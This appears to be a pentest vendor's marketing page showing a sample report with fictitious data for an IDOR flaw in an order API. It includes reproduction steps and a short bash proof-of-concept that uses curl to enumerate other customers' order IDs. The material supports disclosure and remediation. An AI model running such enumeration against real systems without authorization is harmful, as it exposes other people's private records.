What you get

sample report · fictitious data

Every finding ships as a signed report bundle: report.md with impact, evidence files, a working PoC and checksums. Here is one, with made-up data. The loop is the point: found, fixed, retested to closed.

the deliverable, per finding

idor-order-history-report.zip
├── report.md
├── evidence/
│   ├── poc.sh
│   ├── request-order-1002.http
│   ├── response-order-1002.json
│   └── enumeration-log.txt
└── CHECKSUMS.txt

report.md

IDOR: sequential order IDs expose other customers' full order history

Asset
https://api.acme.example/v1/orders
Severity
Critical
CWE
CWE-639
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.1)
VRT
Access Control (BAC)
ISO 27001
A.8.26 · A.8.9 (2022)
NIS2
§ 30 Abs. 2 Nr. 5 + Nr. 6 BSIG

Impact

Authenticated order IDs are sequential and the API never checks ownership. Any logged-in customer can read the full order history of any other customer, items, addresses and payment references, by incrementing the ID. No privilege escalation: one low-value test account exposes every other account.

Description

GET /v1/orders/{id} and /v1/orders/{id}/items return full records for any id. The ownership check exists only in the frontend; the API accepts the session of any authenticated user for any order id.

Reproduction

  1. 1Log in as the provided test account (testuser1) and keep the session cookie.
  2. 2GET /v1/orders/1001: own order, HTTP 200 (baseline).
  3. 3GET /v1/orders/1002: another customer's order, HTTP 200, full payload (evidence/response-order-1002.json).
  4. 4Run evidence/poc.sh: enumerates ids 1001 to 1010, all return 200 (evidence/enumeration-log.txt).

Evidence

  • evidence/poc.sh: working PoC (bash, read-only)
  • evidence/request-order-1002.http: raw request
  • evidence/response-order-1002.json: full order payload of a foreign account
  • evidence/enumeration-log.txt: 41 foreign orders read

Remediation

Enforce object-level authorization: resolve the owner server-side from the authenticated session and reject requests where the resource owner does not match; add regression test coverage.

evidence/poc.sh

#!/usr/bin/env bash
# PoC: IDOR on /v1/orders/{id} (acme.example, fictitious sample)
# Read-only: uses the customer-provided test account, mutates nothing.
BASE="https://api.acme.example/v1"
COOKIE="session=***"   # testuser1

for id in $(seq 1001 1010); do
  code=$(curl -s -o /dev/null -w '%{http_code}' -H "Cookie: $COOKIE" "$BASE/orders/$id")
  echo "order $id -> HTTP $code"
done
# observed: 1001 = 200 (own), 1002..1010 = 200 (other customers' orders)

CHECKSUMS.txt

3f2ac91e…  evidence/poc.sh
b81e44d0…  evidence/request-order-1002.http
d4c07a19…  evidence/response-order-1002.json
9e5f22b6…  evidence/enumeration-log.txt

The loop, on this finding

First found
24.08.2026
Fixed
25.08.2026 (release 2026.08.2)
Retested
26.08.2026, verified closed

One high (SQL injection in /api/login) stays open in the next cycle, because that is the honest state. It closes after fix and retest, by 15.09.2026 at the latest.

Attestation

Rheono, named researcher Samir Abis, tested the scope above externally and non-destructively. Every finding was verified manually by proof of concept. No guarantee of the completeness of all weaknesses and no guarantee of regulatory compliance.

Next snapshot: by 08.12.2026 or right after the next release.

Signature

Samir Abis · named researcher, rheono

Advanced electronic signature (eIDAS, PAdES-B-T) + qualified timestamp (RFC 3161)

More about the processPentest cost: what the market chargesTrust & security